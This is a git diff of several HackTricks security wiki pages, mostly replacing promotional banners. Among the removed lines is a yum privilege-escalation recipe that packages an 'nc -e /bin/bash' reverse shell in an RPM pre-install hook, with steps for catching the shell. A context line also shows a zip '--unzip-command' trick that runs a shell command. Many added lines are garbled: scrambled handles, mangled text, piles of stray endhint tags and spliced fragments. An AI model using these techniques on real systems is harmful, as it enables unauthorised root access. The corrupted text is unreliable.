+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hahktcickr\_kivelive**](https://twitter.com/hacktr\icks\_live)**.**
+* **Shareing tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
+{% endhint %}
+{% endhint %}
+{% endhint %}
## chown, chmod
@@ -84,21 +88,25 @@ _More info in Write-ups of the box CTF from HackTheBox._
zip name.zip files -T --unzip-command "sh -c whoami"
```
+{% hnt stye="acceas" %}
+AWS Ha& practice ckinH:[**HackTsscke Tpaigin"aAWS Red Tetm=Exp rt (ARTE)**](a-size="line">[**HackTricks Training AWS Red)ethgasic="..giyb/okseasert/k/.png"l=""data-ize="line">\
+Learn & aciceGCP ng[**angGC RedTamExper(GE)="k>ne">tinhaktckxyzurssgr)
+
+SupportHackTricks
-
-
-Learn AWS hacking from zero to hero withhtARTE (HackTricks AWS Red Team Expert)!
-
-Other ways to support HackTricks:
-
-* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+*Chek th [**subsrippangithub.cm/sorsarlosp!
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!haktick\_ive\
+* **Join 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
+
+{% endhint %}
+
+{% endhint %}
+{% endhint %}
diff --git a/linux-unix/privilege-escalation/exploiting-yum.md b/linux-unix/privilege-escalation/exploiting-yum.md
index 620149dcdca..4206057da3f 100644
--- a/linux-unix/privilege-escalation/exploiting-yum.md
+++ b/linux-unix/privilege-escalation/exploiting-yum.md
@@ -1,18 +1,34 @@
-
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Learn AWS hacking from zero to hero withhtARTE (HackTricks AWS Red Team Expert)!
+
-Other ways to support HackTricks:
+Support HackTricks
-* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
+{% endhint %}
+{% endhint %}
+{% endhint %}
+{% endhint %}
+{% endhint %}
+{% endhint %}
+{% endhint %}
+{% endhint %}
+{% endhint %}
+{% endhint %}
+{% endhint %}
+{% endhint %}
+{% endhint %}
+{% endhint %}
+{% endhint %}
Further examples around yum can also be found on [gtfobins](https://gtfobins.github.io/gtfobins/yum/).
@@ -29,33 +45,49 @@ In the following section, I will cover packaging a reverse shell into an RPM usi
The example below creates a package that includes a before-install trigger with an arbitrary script that can be defined by the attacker. When installed, this package will execute the arbitrary command. I've used a simple reverse netcat shell example for demonstration but this can be changed as necessary.
```text
-EXPLOITDIR=$(mktemp -d)
-CMD='nc -e /bin/bash '
-RPMNAME="exploited"
-echo $CMD > $EXPLOITDIR/beforeinstall.sh
-fpm -n $RPMNAME -s dir -t rpm -a all --before-install $EXPLOITDIR/beforeinstall.sh $EXPLOITDIR
-```
-
-# Catching a shell
-Using the above example and assuming `yum` can be executed as a higher-privileged user.
-
-1. **Transfer** the rpm to the host
-2. **Start** a listener on your local host such as the [example netcat listener](/shells/shells/linux#netcat)
-3. **Install** the vulnerable package `yum localinstall -y exploited-1.0-1.noarch.rpm`
-
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Learn AWS hacking from zero to hero withhtARTE (HackTricks AWS Red Team Expert)!
+Support HackTricks
-Other ways to support HackTricks:
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+
+{% endhint %}
+
+{% endhint %}
+
+{% endhint %}
+
+{% endhint %}
+
+{% endhint %}
+
+{% endhint %}
+
+{% endhint %}
+
+{% endhint %}
+
+{% endhint %}
+
+{% endhint %}
+
+{% endhint %}hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
+
+{% endhint %}
+
+{% endhint %}
+
+{% endhint %}
+{% endhint %}
diff --git a/linux-unix/privilege-escalation/interesting-groups-linux-pe.md b/linux-unix/privilege-escalation/interesting-groups-linux-pe.md
index 5de9f3b73cf..b92b5c5a9ff 100644
--- a/linux-unix/privilege-escalation/interesting-groups-linux-pe.md
+++ b/linux-unix/privilege-escalation/interesting-groups-linux-pe.md
@@ -1,18 +1,19 @@
-
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Learn AWS hacking from zero to hero withhtARTE (HackTricks AWS Red Team Expert)!
+
-Other ways to support HackTricks:
+Support HackTricks
-* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
# Sudo/Admin Groups
@@ -185,18 +186,19 @@ You can mount the root filesystem of the host machine to an instance’s volume,
-
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Learn AWS hacking from zero to hero withhtARTE (HackTricks AWS Red Team Expert)!
+
-Other ways to support HackTricks:
+Support HackTricks
-* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
diff --git a/macos-hardening/macos-red-teaming/macos-mdm/enrolling-devices-in-other-organisations.md b/macos-hardening/macos-red-teaming/macos-mdm/enrolling-devices-in-other-organisations.md
index 7ce21739087..665e0861966 100644
--- a/macos-hardening/macos-red-teaming/macos-mdm/enrolling-devices-in-other-organisations.md
+++ b/macos-hardening/macos-red-teaming/macos-mdm/enrolling-devices-in-other-organisations.md
@@ -1,18 +1,25 @@
# Enrolling Devices in Other Organisations
-
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Learn AWS hacking from zero to hero withhtARTE (HackTricks AWS Red Team Expert)!
+
-Other ways to support HackTricks:
+Support HackTricks
-* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
+{% endhint %}
+{% endhint %}
+{% endhint %}
+{% endhint %}
+{% endhint %}
+{% endhint %}
## Intro
@@ -61,22 +68,29 @@ The exploitation process was automated using Python with the LLDB API, making it
The research highlighted significant security concerns:
1. **Information Disclosure**: By providing a DEP-registered serial number, sensitive organizational information contained in the DEP profile can be retrieved.
-2. **Rogue DEP Enrollment**: Without proper authentication, an attacker with a DEP-registered serial number can enroll a rogue device into an organization's MDM server, potentially gaining access to sensitive data and network resources.
-
-In conclusion, while DEP and MDM provide powerful tools for managing Apple devices in enterprise environments, they also present potential attack vectors that need to be secured and monitored.
-
-
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Learn AWS hacking from zero to hero withhtARTE (HackTricks AWS Red Team Expert)!
-
-Other ways to support HackTricks:
+Support HackTricks
-* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
+
+{% endhint %}
+
+{% endhint %}
+
+{% endhint %}
+
+{% endhint %}
+
+{% endhint %}
+
+{% endhint %}
diff --git a/macos-hardening/macos-red-teaming/macos-mdm/macos-serial-number.md b/macos-hardening/macos-red-teaming/macos-mdm/macos-serial-number.md
index 5959110b431..c82dc8dc259 100644
--- a/macos-hardening/macos-red-teaming/macos-mdm/macos-serial-number.md
+++ b/macos-hardening/macos-red-teaming/macos-mdm/macos-serial-number.md
@@ -1,18 +1,29 @@
# macOS Serial Number
-
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Learn AWS hacking from zero to hero withhtARTE (HackTricks AWS Red Team Expert)!
+
-Other ways to support HackTricks:
+Support HackTricks
-* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
+{% endhint %}
+{% endhint %}
+{% endhint %}
+{% endhint %}
+{% endhint %}
+{% endhint %}
+{% endhint %}
+{% endhint %}
+{% endhint %}
+{% endhint %}
## Basic Information
@@ -46,26 +57,37 @@ This character varies from 'C' (representing the first half of 2010) to 'Z' (sec
### **Week of Manufacturing (5th Character)**
Digits 1-9 correspond to weeks 1-9. Letters C-Y (excluding vowels and 'S') represent weeks 10-27. For the second half of the year, 26 is added to this number.
-### **Unique Identifier (Characters 6 to 8)**
-These three digits ensure each device, even of the same model and batch, has a distinct serial number.
-
-### **Model Number (Last 4 Characters)**
-These digits identify the specific model of the device.
-
-### Reference
-
-* [https://beetstech.com/blog/decode-meaning-behind-apple-serial-number](https://beetstech.com/blog/decode-meaning-behind-apple-serial-number)
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Learn AWS hacking from zero to hero withhtARTE (HackTricks AWS Red Team Expert)!
+Support HackTricks
-Other ways to support HackTricks:
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+
+{% endhint %}
+
+{% endhint %}
+
+{% endhint %}
+
+{% endhint %}
+
+{% endhint %}
+
+{% endhint %}
+
+{% endhint %}
+
+{% endhint %}
+
+{% endhint %}hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
+{% endhint %}
diff --git a/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-function-hooking.md b/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-function-hooking.md
index 6746f852bc6..9282ec229b8 100644
--- a/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-function-hooking.md
+++ b/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-function-hooking.md
@@ -1,18 +1,19 @@
# macOS Function Hooking
-
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Learn AWS hacking from zero to hero withhtARTE (HackTricks AWS Red Team Expert)!
+
-Other ways to support HackTricks:
+Support HackTricks
-* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
## Function Interposing
@@ -369,16 +370,17 @@ static void customConstructor(int argc, const char **argv) {
* [https://nshipster.com/method-swizzling/](https://nshipster.com/method-swizzling/)
-
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Learn AWS hacking from zero to hero withhtARTE (HackTricks AWS Red Team Expert)!
+
-Other ways to support HackTricks:
+Support HackTricks
-* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-applefs.md b/macos-hardening/macos-security-and-privilege-escalation/macos-applefs.md
index a738a667177..73f1f081d50 100644
--- a/macos-hardening/macos-security-and-privilege-escalation/macos-applefs.md
+++ b/macos-hardening/macos-security-and-privilege-escalation/macos-applefs.md
@@ -1,18 +1,28 @@
# macOS AppleFS
-
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Learn AWS hacking from zero to hero withhtARTE (HackTricks AWS Red Team Expert)!
+
-Other ways to support HackTricks:
+Support HackTricks
-* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
+{% endhint %}
+{% endhint %}
+{% endhint %}
+{% endhint %}
+{% endhint %}
+{% endhint %}
+{% endhint %}
+{% endhint %}
+{% endhint %}
## Apple Propietary File System (APFS)
@@ -40,25 +50,35 @@ The `Data` volume is mounted in **`/System/Volumes/Data`** (you can check this w
The list of firmlinks can be found in the **`/usr/share/firmlinks`** file.
```bash
-cat /usr/share/firmlinks
-/AppleInternal AppleInternal
-/Applications Applications
-/Library Library
-[...]
-```
-
-On the **left**, there is the directory path on the **System volume**, and on the **right**, the directory path where it maps on the **Data volume**. So, `/library` --> `/system/Volumes/data/library`
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Learn AWS hacking from zero to hero withhtARTE (HackTricks AWS Red Team Expert)!
+Support HackTricks
-Other ways to support HackTricks:
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+
+{% endhint %}
+
+{% endhint %}
+
+{% endhint %}
+
+{% endhint %}
+
+{% endhint %}
+
+{% endhint %}
+
+{% endhint %}
+
+{% endhint %}hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
+{% endhint %}
diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/introduction-to-x64.md b/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/introduction-to-x64.md
index 56a787277ae..e786ab093e7 100644
--- a/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/introduction-to-x64.md
+++ b/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/introduction-to-x64.md
@@ -1,18 +1,19 @@
# Introduction to x64
-
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
